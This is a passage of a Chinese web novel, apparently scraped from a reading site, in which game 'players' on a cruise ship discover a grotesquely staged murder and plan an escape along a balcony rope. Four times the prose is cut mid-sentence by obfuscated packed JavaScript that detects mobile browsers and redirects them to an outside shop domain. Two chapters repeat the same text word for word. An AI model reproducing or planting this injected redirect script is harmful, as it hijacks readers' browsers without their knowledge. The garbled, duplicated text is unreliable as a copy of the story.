她收回目光,走到房间中央的衣柜前。这衣柜她还没打开来看过,此刻,她却隐约闻到一丝淡雅熟悉的花香从柜门缝隙中透出。 初与序伸手拉开了柜门。 一件华丽的西式传统晚礼服赫然出现在眼前,悬挂在衣柜中央,旁边还配有一双精致的高跟鞋。 礼裙的主色是纯净的白色,丝绸材质。从裙摆下方开始,如同被海水浸染一般,渐渐晕染开深浅不一的蓝色,越往下颜色越深,最后近乎墨蓝,像是将一片海洋穿在了身上。还有点点勿忘我小花精巧地点缀在群身处。 旁边的高跟鞋设计与裙子配套,同样是白底渐变至深蓝。鞋面光滑,没有多余装饰。 而在另一个衣架的挂钩上,有一张小小的卡片。初与序伸手拿下,卡片上面是手写的生疏但很认真的中文: 「亲爱的初小姐: 为致敬船长盛大晚宴,蔚蓝海神号荣幸地为每一位乘客提供一套量身定制的晚礼服,精心挑选以确保今晚庆典的优雅与和谐。我们诚挚希望您能身着这套礼服,光临现场,祝您拥有一个难忘的夜晚。 ——蔚蓝海神号客房服务部」 字迹工整,措辞礼貌周到,解释了这身突然出现的华服是游轮方为所有乘客统一准备的。 初与序沉默地盯着这套衣服,脸上没什么表情,眼神却有些复杂。 她从十岁以后就再也没穿过裙子,童年时期穿裙子的次数也屈指可数。常年习惯于普普通通的裤装,现在需要穿这种华丽裙装,让她有些不知所措。 她甚至思考能不能就穿着自己现在的衣服去参加晚宴,但理智立刻否决了这个想法。在这种奢华宴会上,所有人都将盛装出席,她若是特立独行,即便脸长得再好看,也会被视为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947086|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异类。甚至可能被拒绝入场,错过剧情线索。 初与序将卡片放在一边,再次看向裙子和高跟鞋。但不得不说,这两件服饰的样貌很符合她的审美。她无奈地叹了口气。 看来,是非穿不可了。 于是,在向枝冥和齐无尽出来时,看到的就是对面靠在门口,穿着礼裙一脸“不开心”的初与序。 向枝冥眼睛一亮,拖着调子调侃:“哟,苦着脸干嘛?这裙子配你不挺好看的吗?” 初与序闻言回过神,抬眼看向他们。 只见两人也都换上了正式的西装,向枝冥身上的黑西装衬得他肩宽腿长,里面搭了件黑衬衫,白色领带随意系着。原本散漫的气质被西装收敛了几分,但眉骨上的银色眉钉依旧让他带着一股吊儿郎当的劲儿。 而他身边的齐无尽则是一身纯白西装,白衬衫一丝不苟,唯独领带是醒目的暗红色,与他的红头发相配,让他本就偏白的肤色和精致的五官愈发突出。 “谢谢。”初与序朝向枝冥毫无诚意地道谢,“你很会夸人。” 向枝冥耸耸肩,一脸“我可真诚了”的表情:“你别不信,我说真的。”说着,他眼疾手快一把将刚刚走出房门的冬逢初拽了过来,推到她面前:“不信你问冬逢初是不是?冬逢初,你对象是不是好看得没天理?” 冬逢初被向枝冥拽得趔趄了一下,站稳身形。他穿着黑西装,内搭白衬衫,黑色领带系得规整。皮肤白皙,眉眼英俊。 他的目光落在初与序身上,几乎是瞬间就定住了。 初与序穿着那身白蓝渐变,点缀着勿忘我的长礼裙,裙子完美贴合身形,勾勒出纤细腰身。黑发柔顺地披散下来,垂至腰际。她本就五官精致,长睫毛,高鼻梁,眼眸沉浸,此刻在衣裙的映衬下,更添了一种惊心动魄的美。 冬逢初愣住,眼神里是毫不掩饰的惊艳和怔忡。 被向枝冥用手肘捅了一下,他才猛地回神,耳根微微泛红,立刻点头:“是。非常好看。” 向枝冥在一边得意地扬了扬下巴,冲初与序挑眉,那意思分明是“看吧我没骗你”。 “……”初与序对上冬逢初直白的视线,微微勾起唇角,带着一丝笑意,别开了一点脸。 齐无尽站在一边,他的目光越过华丽的礼裙,落在初与序右侧脖颈处。那道伤疤被初与序的长发遮住一半,在苍白的皮肤上已经比较明显,比上次他与初与序见面时深了一点,但尚未完全显露出原本的形态。 他看了那道疤上停留了几秒,随后又移开视线,神色复杂。 170.蔚蓝海神号 初与序和冬逢初立刻抓起身旁一根坚固的装饰柱稳住身形,初与序环顾四周,人群惊慌失措,推搡着试图冲向出口,场面一度失控。 下一秒,只听“滋啦——!”一声。 头顶所有的灯光在一声电流嘶鸣后熄灭,巨大的舞厅彻底陷入一片令人窒息的黑暗! “Help!” 突如其来的事故引发了极致的恐慌,人群彻底失控,像无头苍蝇一样推搡着涌向出口。绝望的喊叫在黑暗中混杂,甚至能听到不远处传来被多人踩踏的惨叫。 初与序和冬逢初紧紧靠着柱子,勉强不被疯狂的人流卷走。 “这样下去会发生严重踩踏,伤亡人数增多!”冬逢初在初与序耳边快速道。 初与序当机立断,摸索着朝着原本舞厅乐队演奏的高台挪动。她避开混乱的人群,终于碰到了高台。 她一把抓过麦克风,深吸一口气,冷静地用英文高声喊道: “Everyone!Freeze!Do not move!Do not push!Stay where you are!The power will be restored soon!Moving in the dark cause more danger!Stay calm and stay put!(所有人!原地不动!不要推挤!留在原地!电力很快就会恢复!在黑暗中移动更危险!保持冷静,待在原地!)” 她的声音穿透了黑暗和嘈杂,清晰地传到大部分人的耳中,稍稍浇灭了部分恐慌的火焰。尖叫的声音明显减弱了一些,很多人下意识地停住了脚步,在原地喘息,不敢再乱动。 “船长呢?”向枝冥在不远处差点被人踩死,他撑着身体气得大骂,“还有船员呢?这他妈不管?全都去哪儿了?” 齐无尽伸手将他拉起来:“快去和他们汇合!” 就在人群稍稍安静下来的下一秒: “啊————!!!” 一声极其凄厉、尖锐、充满了极致恐惧的女性尖叫声,猛地从上层客房区的方向传来,穿透了厚重的甲板和风雨声,让所有人身体一僵。 那是罗莎蒙特罗的声音! “又他妈怎么了?!”向枝冥被吓了一跳,抬头看向天花板。 初与序和冬逢初对视一眼,都在对方眼中看到了同样的震惊。 “走!” 两人再无迟疑,毫不犹豫地逆着人流朝着舞厅出口冲过去! 电力尚未恢复,游轮在暴风雨中疯狂摇晃,走廊里一片漆黑,只有紧急指示牌散发着幽绿的光晕,勉强照亮前方的路。两人冲向罗莎的套房区域,途中只零星遇到几个惊慌失措的普通乘客。 路过一段舷窗走廊时,初与序侧头看了一眼,窗外是彻底的黑沉,只能听到狂风暴雨嘶吼着拍打玻璃,巨大的浪头不时重重砸上来,发出轰鸣。 他们来到罗莎的901套房门口,门竟然是虚掩着的!一股浓重得令人作呕的诡异气味从门缝里飘散出来。 “罗莎夫人?”冬逢初试探地喊了一句,同时用力推开门。 里面更是漆黑一片,死寂得可怕。 就在这时,齐无尽和向枝冥也赶到了,齐无尽不知从哪里弄来了一支手电筒,此刻握在手里。见到初与序,他伸出手,将手电筒递给她。 “怎么回事?”向枝冥喘着气问。 “尖叫声是从这里传出来的。”初与序简短回答,接过齐无尽递来的手电筒,毫不犹豫打开。 冰冷的光柱刺破黑暗,扫入套房内部。客厅并无异常,甚至那只刚刚被推进来的烤焦的猪还完好地放在餐车上。 光束移动,最终定格在半掩着的浴室门上。 冬逢初上前一步,猛地拉开了浴室门,一股血腥味扑鼻而来,强光立刻照亮了浴室内的景象! 映入眼帘的是满眼刺目的红!整个白色的浴缸都被还没凝固的鲜血染红,血水漫溢到了地砖上,形成一摊摊血洼。 罗莎蒙特罗就仰面浸泡在那血浴之中!她的眼睛惊恐地圆睁着,但那双眼睛里镶嵌的不再是人类的眼球,而是两颗硕大的珍珠。 她的嘴巴被暴力撬开,塞满了腐烂发臭的鱼头,鱼眼浑浊呆滞,尖锐生锈的鱼钩从鱼鳃和嘴角刺出,带着血丝和碎肉! 她的喉咙被彻底割开,伤口深可见骨,像一张咧开的第二张嘴,皮肉外翻,还在极其缓慢地渗出血沫。 浴室那面巨大的镜子上,用鲜血画着一个扭曲的笑脸符号,鲜血正沿着光滑的镜面缓缓向下流淌,像是血泪。 地板上,湿漉漉的海藻和奇形怪状的贝壳散落得到处都是,像是凶手刚刚从深海里爬出,还带来了海底的“礼物”。 手电筒的光柱因为初与序的震惊而微微颤抖,使得浴室里的一切更添了几分恐怖。 “我……操……”向枝冥倒吸一口冷气,脸上的散漫彻底消失。 初与序盯着这一幕,脑海中立刻闪过安娜贝尔讲述的那个关于“深海哀容”的传说。她的目光落在罗莎的脖子上,那里竟然空空如也。 “她的珍珠项链呢?”初与序立刻转过头。 齐无尽踏入卧室,梳妆桌上正放着一个被翻得乱七八糟的珠宝盒,各种首饰散落一地,但唯独罗莎白天还在炫耀的那串名贵的珍珠项链,不翼而飞! 游轮上的灯光又闪烁了几下,突然恢复明亮,驱散了令人窒息的黑暗。然而,浴室里那血腥恐怖的景象在明亮的光线下反而更加清晰。 【恭喜各位玩家触发主线剧情。】 【当前任务更新:在“蔚蓝海神号”沉没前找出真凶。】 【剩余时间:2天3晚。】 【祝各位一切顺利。】 脚步声和嘈杂的人声由远及近,船长带着几名脸色苍白的保安主管和闻讯赶来的安娜贝尔冲到了门口。当看到了浴室内的惨状时,即便是最训练有素的船员也忍不住发出惊呼和干呕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947087|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “My God…”安娜贝尔捂住嘴,脸色惨白。 船长强压下心中的震惊和恐惧,立刻下令:“Secure the scene!No one touches anything!Jenkins,lock down this deck……anyone until further notice!(封锁现场!任何人不得触碰任何东西!詹金斯,封锁这一层甲板!埃文斯,立刻护送所有乘客返回客房!凶手一定还在这艘船上,通知他们锁好门,在得到进一步通知前不要给任何人开门!)” 保安们立刻行动起来,开始驱散闻声而来的其他乘客,走廊里一片混乱和窃窃私语。 船长的目光扫过站在门口的初与序四人,他们是第一发现者。他沉声道:“You four,stay right here.Do not leave.We will need to speak with you shortly.(你们四个,就待在这里。不要离开,我们很快需要和你们谈谈。)” 他示意一名保安看守在旁,然后便焦头烂额地去处理现场和安抚恐慌了。 四人被暂时隔离在七楼一间小型休息厅里,门外有船员看守。豪华游轮上的欢快派对的气氛荡然无存,取而代之的是恐惧和猜疑。窗外,暴风雨依旧肆虐。 向枝冥靠在墙上,无奈摇头:“得,咱四个成头号嫌疑犯了。” 初与序转身推开休息厅连接着的小阳台的玻璃门,狂风立刻灌了进来,吹得她的裙摆微扬。 阳台下方就是漆黑如墨的翻涌海面,游轮在风浪中剧烈起伏,像是随时都会被巨浪吞噬。她打开手电筒,强光柱投向下方的海水,只能偶尔照亮惨白的浪沫和深不见底的黑暗。 接着,在光线扫过船体侧面一个浪谷时,初与序瞥见了一点极其微弱的光泽,像是一两颗散落的珍珠,在漆黑的海水中一闪而过,随着下一个巨浪打来,立刻消失得无影无踪。 “看到美人鱼了没?”向枝冥侧过头问,“我还没见过美人鱼呢,到底是上人下鱼,还是上鱼下人。” 看你个头。 “没有。”初与序关掉手电,拉上了阳台的玻璃门,将暴风雨隔绝在外。随后抬手擦去脸上的雨水,淡淡道,“罗莎的珍珠项链,好像有几颗珍珠被扔到海里了。” 冬逢初坐在沙发上:“最有明显杀人动机的是维克和玛蒂尔达。维克有机会接近食物,说不定能做手脚。但他有不在场证明吗?案发时游轮停电混乱,他的行踪很难说。” 齐无尽说:“玛蒂尔达有激情杀人的可能,但她是否有能力完成那种仪式性的布置?” 四人回想起浴室的惨状,那绝非简单的杀人。 冬逢初开口:“如果凶手是为财,为什么只拿走最贵的项链,却把其他珠宝扔一地?正常来说,凶手大概率会全部拿走,或者根本不动,制造抢劫假象。只拿走项链很怪。” 171.蔚蓝海神号 初与序和冬逢初立刻抓起身旁一根坚固的装饰柱稳住身形,初与序环顾四周,人群惊慌失措,推搡着试图冲向出口,场面一度失控。 下一秒,只听“滋啦——!”一声。 头顶所有的灯光在一声电流嘶鸣后熄灭,巨大的舞厅彻底陷入一片令人窒息的黑暗! “Help!” 突如其来的事故引发了极致的恐慌,人群彻底失控,像无头苍蝇一样推搡着涌向出口。绝望的喊叫在黑暗中混杂,甚至能听到不远处传来被多人踩踏的惨叫。 初与序和冬逢初紧紧靠着柱子,勉强不被疯狂的人流卷走。 “这样下去会发生严重踩踏,伤亡人数增多!”冬逢初在初与序耳边快速道。 初与序当机立断,摸索着朝着原本舞厅乐队演奏的高台挪动。她避开混乱的人群,终于碰到了高台。 她一把抓过麦克风,深吸一口气,冷静地用英文高声喊道: “Everyone!Freeze!Do not move!Do not push!Stay where you are!The power will be restored soon!Moving in the dark cause more danger!Stay calm and stay put!(所有人!原地不动!不要推挤!留在原地!电力很快就会恢复!在黑暗中移动更危险!保持冷静,待在原地!)” 她的声音穿透了黑暗和嘈杂,清晰地传到大部分人的耳中,稍稍浇灭了部分恐慌的火焰。尖叫的声音明显减弱了一些,很多人下意识地停住了脚步,在原地喘息,不敢再乱动。 “船长呢?”向枝冥在不远处差点被人踩死,他撑着身体气得大骂,“还有船员呢?这他妈不管?全都去哪儿了?” 齐无尽伸手将他拉起来:“快去和他们汇合!” 就在人群稍稍安静下来的下一秒: “啊————!!!” 一声极其凄厉、尖锐、充满了极致恐惧的女性尖叫声,猛地从上层客房区的方向传来,穿透了厚重的甲板和风雨声,让所有人身体一僵。 那是罗莎蒙特罗的声音! “又他妈怎么了?!”向枝冥被吓了一跳,抬头看向天花板。 初与序和冬逢初对视一眼,都在对方眼中看到了同样的震惊。 “走!” 两人再无迟疑,毫不犹豫地逆着人流朝着舞厅出口冲过去! 电力尚未恢复,游轮在暴风雨中疯狂摇晃,走廊里一片漆黑,只有紧急指示牌散发着幽绿的光晕,勉强照亮前方的路。两人冲向罗莎的套房区域,途中只零星遇到几个惊慌失措的普通乘客。 路过一段舷窗走廊时,初与序侧头看了一眼,窗外是彻底的黑沉,只能听到狂风暴雨嘶吼着拍打玻璃,巨大的浪头不时重重砸上来,发出轰鸣。 他们来到罗莎的901套房门口,门竟然是虚掩着的!一股浓重得令人作呕的诡异气味从门缝里飘散出来。 “罗莎夫人?”冬逢初试探地喊了一句,同时用力推开门。 里面更是漆黑一片,死寂得可怕。 就在这时,齐无尽和向枝冥也赶到了,齐无尽不知从哪里弄来了一支手电筒,此刻握在手里。见到初与序,他伸出手,将手电筒递给她。 “怎么回事?”向枝冥喘着气问。 “尖叫声是从这里传出来的。”初与序简短回答,接过齐无尽递来的手电筒,毫不犹豫打开。 冰冷的光柱刺破黑暗,扫入套房内部。客厅并无异常,甚至那只刚刚被推进来的烤焦的猪还完好地放在餐车上。 光束移动,最终定格在半掩着的浴室门上。 冬逢初上前一步,猛地拉开了浴室门,一股血腥味扑鼻而来,强光立刻照亮了浴室内的景象! 映入眼帘的是满眼刺目的红!整个白色的浴缸都被还没凝固的鲜血染红,血水漫溢到了地砖上,形成一摊摊血洼。 罗莎蒙特罗就仰面浸泡在那血浴之中!她的眼睛惊恐地圆睁着,但那双眼睛里镶嵌的不再是人类的眼球,而是两颗硕大的珍珠。 她的嘴巴被暴力撬开,塞满了腐烂发臭的鱼头,鱼眼浑浊呆滞,尖锐生锈的鱼钩从鱼鳃和嘴角刺出,带着血丝和碎肉! 她的喉咙被彻底割开,伤口深可见骨,像一张咧开的第二张嘴,皮肉外翻,还在极其缓慢地渗出血沫。 浴室那面巨大的镜子上,用鲜血画着一个扭曲的笑脸符号,鲜血正沿着光滑的镜面缓缓向下流淌,像是血泪。 地板上,湿漉漉的海藻和奇形怪状的贝壳散落得到处都是,像是凶手刚刚从深海里爬出,还带来了海底的“礼物”。 手电筒的光柱因为初与序的震惊而微微颤抖,使得浴室里的一切更添了几分恐怖。 “我……操……”向枝冥倒吸一口冷气,脸上的散漫彻底消失。 初与序盯着这一幕,脑海中立刻闪过安娜贝尔讲述的那个关于“深海哀容”的传说。她的目光落在罗莎的脖子上,那里竟然空空如也。 “她的珍珠项链呢?”初与序立刻转过头。 齐无尽踏入卧室,梳妆桌上正放着一个被翻得乱七八糟的珠宝盒,各种首饰散落一地,但唯独罗莎白天还在炫耀的那串名贵的珍珠项链,不翼而飞! 游轮上的灯光又闪烁了几下,突然恢复明亮,驱散了令人窒息的黑暗。然而,浴室里那血腥恐怖的景象在明亮的光线下反而更加清晰。 【恭喜各位玩家触发主线剧情。】 【当前任务更新:在“蔚蓝海神号”沉没前找出真凶。】 【剩余时间:2天3晚。】 【祝各位一切顺利。】 脚步声和嘈杂的人声由远及近,船长带着几名脸色苍白的保安主管和闻讯赶来的安娜贝尔冲到了门口。当看到了浴室内的惨状时,即便是最训练有素的船员也忍不住发出惊呼和干呕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948695|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “My God…”安娜贝尔捂住嘴,脸色惨白。 船长强压下心中的震惊和恐惧,立刻下令:“Secure the scene!No one touches anything!Jenkins,lock down this deck……anyone until further notice!(封锁现场!任何人不得触碰任何东西!詹金斯,封锁这一层甲板!埃文斯,立刻护送所有乘客返回客房!凶手一定还在这艘船上,通知他们锁好门,在得到进一步通知前不要给任何人开门!)” 保安们立刻行动起来,开始驱散闻声而来的其他乘客,走廊里一片混乱和窃窃私语。 船长的目光扫过站在门口的初与序四人,他们是第一发现者。他沉声道:“You four,stay right here.Do not leave.We will need to speak with you shortly.(你们四个,就待在这里。不要离开,我们很快需要和你们谈谈。)” 他示意一名保安看守在旁,然后便焦头烂额地去处理现场和安抚恐慌了。 四人被暂时隔离在七楼一间小型休息厅里,门外有船员看守。豪华游轮上的欢快派对的气氛荡然无存,取而代之的是恐惧和猜疑。窗外,暴风雨依旧肆虐。 向枝冥靠在墙上,无奈摇头:“得,咱四个成头号嫌疑犯了。” 初与序转身推开休息厅连接着的小阳台的玻璃门,狂风立刻灌了进来,吹得她的裙摆微扬。 阳台下方就是漆黑如墨的翻涌海面,游轮在风浪中剧烈起伏,像是随时都会被巨浪吞噬。她打开手电筒,强光柱投向下方的海水,只能偶尔照亮惨白的浪沫和深不见底的黑暗。 接着,在光线扫过船体侧面一个浪谷时,初与序瞥见了一点极其微弱的光泽,像是一两颗散落的珍珠,在漆黑的海水中一闪而过,随着下一个巨浪打来,立刻消失得无影无踪。 “看到美人鱼了没?”向枝冥侧过头问,“我还没见过美人鱼呢,到底是上人下鱼,还是上鱼下人。” 看你个头。 “没有。”初与序关掉手电,拉上了阳台的玻璃门,将暴风雨隔绝在外。随后抬手擦去脸上的雨水,淡淡道,“罗莎的珍珠项链,好像有几颗珍珠被扔到海里了。” 冬逢初坐在沙发上:“最有明显杀人动机的是维克和玛蒂尔达。维克有机会接近食物,说不定能做手脚。但他有不在场证明吗?案发时游轮停电混乱,他的行踪很难说。” 齐无尽说:“玛蒂尔达有激情杀人的可能,但她是否有能力完成那种仪式性的布置?” 四人回想起浴室的惨状,那绝非简单的杀人。 冬逢初开口:“如果凶手是为财,为什么只拿走最贵的项链,却把其他珠宝扔一地?正常来说,凶手大概率会全部拿走,或者根本不动,制造抢劫假象。只拿走项链很怪。” 172.蔚蓝海神号 就在这时,休息厅的大门被推开来,一名面色严肃的保安主管,和拿着记录本的安娜贝尔走了进来。安娜贝尔面上显得疲惫,蹲下已经努力维持着专业。 四人交换了一个心照不宣的眼神,纷纷在安娜贝尔对面的沙发上并排坐好。 安娜贝尔深吸一口气,用中文开口:“我们需要询问你们几位一些问题,关于你们看到的和听到的一切。请务必如实告知。”她的目光扫过四人。 四人对此早有准备,没打算隐瞒。由冬逢初开口,清晰地将如何听到尖叫、如何第一时间赶到现场,以及用手电筒看到浴室内的恐怖景象,包括割喉、鱼头鱼钩塞嘴、珍珠换眼、血笑脸、海藻贝壳、被翻动但只丢失了珍珠项链的珠宝盒,全部描述了一遍。 安娜贝尔记录着,脸色苍白,拿着笔的手指微微颤抖。旁边的保安主管虽然听不懂中文,但从安娜贝尔的表情和四人严肃的神色也能猜到描述的恐怖。 询问结束,安娜贝尔与保安主管低声用英文交流了几句,主管点了点头。 安娜贝尔转向四人,语气里带着歉意:“非常感谢你们的配合,但是很抱歉,基于目前的情况,你们仍然是有一定嫌疑的。并且凶手显然还在船上,为了你们自身的安全考虑,你们必须暂时待在这里,禁止离开。这是船长的命令。” 接着,一名保安抱着四床厚厚的被子走了进来,放在一旁的沙发上。 安娜贝尔指了指被子,不好意思地开口:“抱歉,只能委屈你们先在这里凑合一段时间。我们会提供食物和水。等游轮靠岸,警方介入后,你们就可以离开了。” 齐无尽问:“请问还需要多久靠岸?” 安娜贝尔回答:“按照原地行程,因为暴风雨原因,大概还需要四天左右……” 四人:“……” 安娜贝尔看着四人,连忙补充道:“真的很抱歉!我们会尽快调查清楚的!请相信我们!” 但她的话已经无法改变什么,保安主管对她示意了一下,两人一前一后离开了休息室。门从外面被关上,隐约能听到上锁的轻微咔嗒声。 向枝冥往后一倒,瘫进沙发里:“四天?在这样一个刚刚发生恐怖血案、凶手逍遥法外,并且还藏着非人力量的游轮上待四天?还要被软禁在这里?系统啥时候喜欢囚禁play了?” 系统:【喜欢你大爷,副本内容是永冬之城自己生成的,又不是我写的举剧本。】 “切。”向枝冥翻了个白眼,“你这个时候出来了,平时遇到NPC追杀你咋不出来?” 系统:【……】 “系统只给了我们两天三晚时间。”初与序淡淡道,“想办法从这里出去吧。” 冬逢初走到玻璃门前,再次拉开阳台门。比之前更加猛烈的风雨立刻灌入,吹得他睁不开眼。他抬手遮住双眼,探身出去,仔细观察阳台两侧的结构。 “看两边。”他开口,“阳台之间有大约三米的间隔,不算太远。我们可以用被子床单拧成绳子,固定在这边栏杆,然后爬过去,到相邻房间的阳台。那边应该没人看守。” 齐无尽不知何时也走到他身后,看着外面巨浪翻涌的恐怖海面,又看了看在狂风中剧烈摇晃的阳台,幽幽道:“你确定要在这种能见度为零,风速能把人掀飞的暴雨夜里,徒手爬一个没有任何保护措施的床单绳?” 他顿了顿,补充道:“掉进这种海里,瞬间就会被卷走,尸体都找不到。” 冬逢初罕见的面无表情,还带点不耐烦地扫了他一眼,没有理他。 向枝冥凑到初与序身边,用气音小声嘀咕:“为什么我感觉这两人关系一直不太对劲?明明没见他们吵过架,但就是有种……呃……互相看不顺眼的气场?他们以前有仇不?” 好像确实,从第一眼见到齐无尽开始,冬逢初对他的敌意就非常明显。同样,齐无尽也能离他多远有多远。 “呃…可能是我们感觉错了?”初与序同样小声回答,“他们确实没吵过架,但也…没好好说过话。”她闭上嘴,选择放弃讨论这个话题。 “只能等天亮了。”冬逢初关上门,抹去脸上的雨水。 休息厅内的灯光被调到最暗,只留下墙角一盏壁灯散发着昏黄的光晕。窗外的暴风雨没停,雷声和波涛声沉闷。 向枝冥直接将被子铺在沙发上,躺了上去;齐无尽靠在单人沙发上;冬逢初和初与序并肩坐在另一张长沙发上,被子披在两人肩上。 不知过了多久,窗外咆哮的风声似乎渐渐缓和了一些,狂猛的势头减弱了。虽然雨声依旧淅沥,海浪依旧起伏,但已不再是那种毁灭性的疯狂拍打。 深沉的黑暗也慢慢褪去,逐渐被一种灰蒙蒙的,渗透着湿气的微光所取代。天快亮了。 最先睁开眼的是齐无尽,他立刻清醒过来,看向玻璃门外。天色依旧阴沉,海面灰蒙蒙一片,能见度依然很低,但至少不再是彻底的漆黑,风雨也明显小了很多。 紧接着,向枝冥也醒来,他抬手揉了揉眼睛,从沙发上翻下来:“天亮了?” 冬逢初伸手轻轻拍了拍靠在自己肩膀上的初与序,小声道:“阿序,天亮了。” 初与序被叫醒,极不情愿地睁开眼睛。她没什么表情地看向冬逢初,整个人都散发着一股低气压的“不开心”。 “雨小了些。”冬逢初对她的起床气早已习惯,笑着道。 初与序困倦地坐起身,揉了揉太阳穴,将心中的烦躁压了下去,点了点头。 四人正打算将被子床单拆解成伸缩,休息厅的门忽然传来钥匙转动的声音。他们立刻放下被子,原地站定。 一名面带疲惫,眼下一片乌青的船员推着一辆小型餐车走了进来,车上放着四份简单的早餐。初与序看向船员,他显然忙碌了一整晚,心情不佳,动作有些粗鲁地将餐盘放在桌上, “Breakfast.”他硬邦邦丢下一句,推着空车就打算离开,显然没打算跟这几个嫌疑犯带太久。 “Wait!”冬逢初上前一步,语气温和,“Excuse me,sir.We''re still in our formal wear from last ningh,and especially for the lady,the high……toe right back.(打扰一下,先生。我们还穿着昨晚的正装,尤其是这位女士,高跟鞋长时间穿着很不舒服。能否让我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948696|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短暂回房间换一下平时的衣服和鞋子?我们保证立刻回来。)” 船员闻言,直接挥手拒绝,不耐烦道:“No!Absolutely not!All passengers are……do with what you have!(不行!绝对不行!所有乘客都禁足在客房和指定区域。我们正挨个盘问,没人有空陪你们来回跑!就老实待着,庆幸你们安全吧!自己将就一下!)” 四人面面相觑,看来看守比想象中更严格。 初与序上前一步,礼貌开口:“Then,could you at least provide a pair of sneakers or flat shoes for me?Just something more practical than these.(那么,能否至少给我一双运动鞋或平底鞋?至少比这双实用一点就行。)” 她指了指自己穿的那双虽然漂亮但绝对不适合逃跑行动的高跟鞋。 船员停下脚步,回头扫了她一眼,似乎权衡了一下。一双鞋总比放人出去省事。他啧了一声,嘟囔了一句:“Wait here.(等着。)” 他出去了大概一分钟,回来时手里拿着一个全新、标签还没拆的鞋盒,似乎是船上的库存货。他没什么好气地把鞋盒往初与序面前一丢:“Here.Now,no more requests,(拿去。现在,别再提要求了。)” 说完,他再次重重地关上门,顺便落了锁。 初与序弯腰打开鞋盒,里面是一双普普通通的白色运动鞋,和她平时穿的差不多,适合行动。 四人简单吃了点早饭,便开始动手拆卸被套和床单。这些布料质地坚韧,系在一起拧成一股后,足以承受一个人的重量。 他们来到阳台,风雨比昨夜小了很多,但依旧湿冷,海风扑面而来,四个人心里无一例外只有一个“冷”字。 阳台位于游轮五层外侧,下方就是蔚蓝海面,海浪拍打船体,船体轻微晃动。初与序探头看去,游轮外壁上没有任何可供踩踏的凸起或装饰,而且极其狭窄湿滑。 “只能赌一把了。”向枝冥动作麻利地将拧好的床单绳一端牢牢系在休息厅阳台的栏杆上,在另一端熟练地打了个能够套牢的活结。 他小心地估算着距离,瞄准相邻的栏杆,手臂用力一甩,成功将绳套挂在了对面阳台的栏杆突起上。随后迅速用力拉紧,床单绳绷直,成了一条连接两个阳台的通道。 接着向枝冥用力拽了拽,测试牢固程度。绳索绷得紧紧的,看起来足够承受一个成年男人的重量。 “好了。”向枝冥呼出一口气,抹去脸上的雨水,看向身后三人,“谁先来?这玩意儿可撑不了多久,也不知道那边阳台门能不能打开。” “我先过去看看情况。”初与序低声道,她已经换上了运动鞋,身上的礼裙裙摆也不算大,虽然不便利,但至少不会过分妨碍行动。 “走慢一点,万事小心。”冬逢初欲言又止,但知道劝不住她,紧张地提醒,“如果出现意外,一定要用之前的免死道具。” 初与序点点头,来到了阳台边。 173.蔚蓝海神号 齐无尽和向枝冥一左一右站定,帮初与序稳住这边的床单绳。初与序上前一步,伸手抓住绷直的床单绳索。 她利落地翻身越过自己这边阳台的栏杆,冰冷的雨点再次打湿了她的衣服。她小心地踩在湿滑的游轮外壁上,寻找着微不足道的摩擦力,双手则抓着床单绳。她体重较轻,绳索只轻轻晃了一下,很快被她稳定下来。 初与序低头瞥了一眼脚下,蔚蓝的海面因为距离,显得深邃甚至有些迷人。偶尔能看到一两条鱼的阴影快速游过,或是海鸥在低空艰难地盘旋,发出凄厉的鸣叫。 她收回目光,全神贯注于眼前的攀爬。 初与序屏住呼吸,开始横向移动。她的核心力量很稳,动作协调谨慎。大部分时候,她依靠手臂的力量牵引身体,在光滑的船壁上挪动。 中途是一段特别湿滑,几乎无处借力的区域。她果断改变策略,用右手死死拉住绳索维持平衡,另一只手和小臂则紧紧贴在冰冷的船壁上,尽可能增加接触面积和摩擦力,同时鞋底也抵住船体。一点点缓慢地向对面挪动。 原来阳台的三个人紧张地看着这一幕,大气不敢出,生怕吓到了初与序,让她失误。 